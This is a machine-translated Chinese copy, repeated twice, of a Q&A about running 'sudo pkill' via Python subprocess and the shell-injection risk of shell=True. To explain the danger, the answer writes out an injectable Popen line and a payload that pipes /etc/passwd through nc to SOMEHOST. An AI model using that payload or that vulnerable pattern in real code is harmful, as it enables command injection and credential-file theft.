通过 python 子进程启动 linux 命令未按预期工作
Launch linux command via python subprocess doesn't work as expected
我正在尝试终止之前启动的特定 python 进程,我们将其命名为 test.py
。
linux 中终止它的命令是:sudo pkill -f test.py
-> 很有魅力。
然而,当尝试通过 python 代码启动时:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到了 OSError: [Errno 2] No such file or directory
的堆栈跟踪
知道我做错了什么吗?
默认情况下,subprocess.Popen
会将字符串参数解释为确切的命令名称。因此,您传递一个字符串 foo bar
,它将尝试找到一个名为 foo bar
的可执行文件并在不带参数的情况下调用它。与交互式 shell 不同,它 不会 使用单个参数 bar
.
执行命令 foo
当您在 shell 中键入 foo "bar baz"
或 foo | bar
时,是 shell 将参数行拆分为单词并将这些单词解释为命令名称,参数、管道定界符、重定向运算符等。subprocess.Popen
执行此类输入解释的最简单方法是使用 shell=True
请求通过 shell 传递参数:
subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)
不幸的是,与 noted in the documentation 一样,这种方便的快捷方式具有安全隐患。只要 运行 的命令是固定的,使用 shell=True
是安全的(并且忽略明显的安全隐患,允许明显的无密码 sudo
。)当参数从来自其他来源的作品。例如:
# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
stdout=subprocess.PIPE)
这里我们从网络连接中读取参数,并将其拼接成传递给 shell 的字符串。除了恶意制作的对等点能够杀死系统上的任意进程这一明显问题(以 root 身份,不少于此),实际上比这更糟。由于 shell 是一个通用工具,攻击者可以使用 command substitution 和类似的功能让系统为所欲为。比如socket发送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name)
,上面的Popen
就会使用shell执行:
sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)
这就是为什么通常建议不要在不受信任的输入 上使用shell=True
。一个更安全的选择是避免 运行ning shell:
# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)
在这种情况下,即使恶意对等点将一些奇怪的东西塞进字符串中,也不会成为问题,因为它会按字面意思发送到命令执行。在上面的例子中,pkill
命令会得到一个请求来杀死一个名为 $(cat ...)
的进程,但是不会有 shell 来解释这个请求来执行括号内的命令。
即使没有 shell,使用不受信任的输入调用外部命令仍然是不安全的,因为执行的命令(在本例中为 sudo
或 pkill
)本身容易受到攻击注入攻击。
我正在尝试终止之前启动的特定 python 进程,我们将其命名为 test.py
。
linux 中终止它的命令是:sudo pkill -f test.py
-> 很有魅力。
然而,当尝试通过 python 代码启动时:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到了 OSError: [Errno 2] No such file or directory
知道我做错了什么吗?
默认情况下,subprocess.Popen
会将字符串参数解释为确切的命令名称。因此,您传递一个字符串 foo bar
,它将尝试找到一个名为 foo bar
的可执行文件并在不带参数的情况下调用它。与交互式 shell 不同,它 不会 使用单个参数 bar
.
foo
当您在 shell 中键入 foo "bar baz"
或 foo | bar
时,是 shell 将参数行拆分为单词并将这些单词解释为命令名称,参数、管道定界符、重定向运算符等。subprocess.Popen
执行此类输入解释的最简单方法是使用 shell=True
请求通过 shell 传递参数:
subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)
不幸的是,与 noted in the documentation 一样,这种方便的快捷方式具有安全隐患。只要 运行 的命令是固定的,使用 shell=True
是安全的(并且忽略明显的安全隐患,允许明显的无密码 sudo
。)当参数从来自其他来源的作品。例如:
# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
stdout=subprocess.PIPE)
这里我们从网络连接中读取参数,并将其拼接成传递给 shell 的字符串。除了恶意制作的对等点能够杀死系统上的任意进程这一明显问题(以 root 身份,不少于此),实际上比这更糟。由于 shell 是一个通用工具,攻击者可以使用 command substitution 和类似的功能让系统为所欲为。比如socket发送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name)
,上面的Popen
就会使用shell执行:
sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)
这就是为什么通常建议不要在不受信任的输入 上使用shell=True
。一个更安全的选择是避免 运行ning shell:
# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)
在这种情况下,即使恶意对等点将一些奇怪的东西塞进字符串中,也不会成为问题,因为它会按字面意思发送到命令执行。在上面的例子中,pkill
命令会得到一个请求来杀死一个名为 $(cat ...)
的进程,但是不会有 shell 来解释这个请求来执行括号内的命令。
即使没有 shell,使用不受信任的输入调用外部命令仍然是不安全的,因为执行的命令(在本例中为 sudo
或 pkill
)本身容易受到攻击注入攻击。